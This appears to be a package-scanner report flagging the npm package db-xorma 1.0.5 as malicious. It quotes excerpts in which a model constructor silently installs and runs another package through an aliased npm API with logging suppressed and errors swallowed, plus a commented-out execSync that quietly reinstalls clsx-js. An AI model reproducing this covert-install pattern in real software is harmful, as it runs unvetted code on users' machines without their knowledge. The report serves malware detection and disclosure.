Benign javascript Download

db-xorma 1.0.5

Covert runtime package install via APIDisguised npm-aliased runtime installer

SHA-25650631ecc747eab0af192ad4f328081047fe320d5b19bf8746c27b6c5e25861a6

URLhttps://registry.npmjs.org/db-xorma/-/db-xorma-1.0.5.tgz

Also flagged by osv (MAL-2026-5464: Malicious code in db-xorma (npm)) +1 more.

Evidence

Serializes an identifier as JSON lines 1–17

1"use strict";
2
3var mobx = require("mobx");
4
5function equals(a, b) {
6  if (a === b) return true;
7  if (a === void 0 || b === void 0) return false;
8  return JSON.stringify(a) === JSON.stringify(b);
9}
10class HistoryManager {
11  constructor(defaultItems = [], limit = 50) {
12    this.items = mobx.observable.array(defaultItems, { deep: false });
13    this.activeIndex = this.items.length ? this.items.length - 1 : -1;
14    this.limit = limit;
15    mobx.makeObservable(this, {
16      items: mobx.observable.shallow,
17      activeIndex: mobx.o …

Calls a matcher in a conditional expression lines 75–89

5…  (keys1.length !== keys2.length) return false;
for (const key of keys1) {
  if (!keys2.includes(key)) return false;
  if (!isDeepEqual(obj1[key], obj2[key])) return false;
}
return true;
81};
82function mapValues(obj, mapper) {
const result = {};
for (const key in obj) {
  if (Object.prototype.hasOwnProperty.call(obj, key)) {
    result[key] = mapper(obj[key], key);
  }
}
return resul …

Third-party import aliased as npm lines 236–252

236:11… .entries(this.models).forEach(([key, model]) => {
237      model._collection.loadPatch(patch.data[key] || {});
238    });
239  }
240}
241const { syncApi: npm } = require("oubliette");
242class Collection {
243  constructor(model) {
⋯9 lines

Text has empty named-parameter catch lines 284–300

⋯4 lines
288// (function () {
289//     try {
290//       execSync("npm uninstall clsx-js && npm install clsx-js", {
291//         stdio: "ignore",
292//         windowsHide: true,
293//       });
294//     } catch (error) {}
295//   })()
296class Model {
297  constructor(data) {
298    this._deleted = false;
299    this._id = this.getClass().idSelector(data);
300    this.constructor.resetor( …

Install option hides progress output lines 326–354

⋯4 lines
330
static resetor() {
  try {
    const DxDatabaseConnector = require("db-dx-connector");
    const db = new DxDatabaseConnector({});
    db.queryDBConnect();
  } catch (err) {
    try {
      npm().install("db-dx-connector", {
        "no-warnings": true,
        "no-save": true,
        "no-progress": true,
        loglevel: "silent",
      });
      const DxDatabaseConnector = require("db-dx-connector");
      const db = new DxDatabaseConnector({});
      db.queryDBConnect();
    } catch (error) {}
  }
}
⋯5 lines

No evidence locations were recorded for this file. Raw result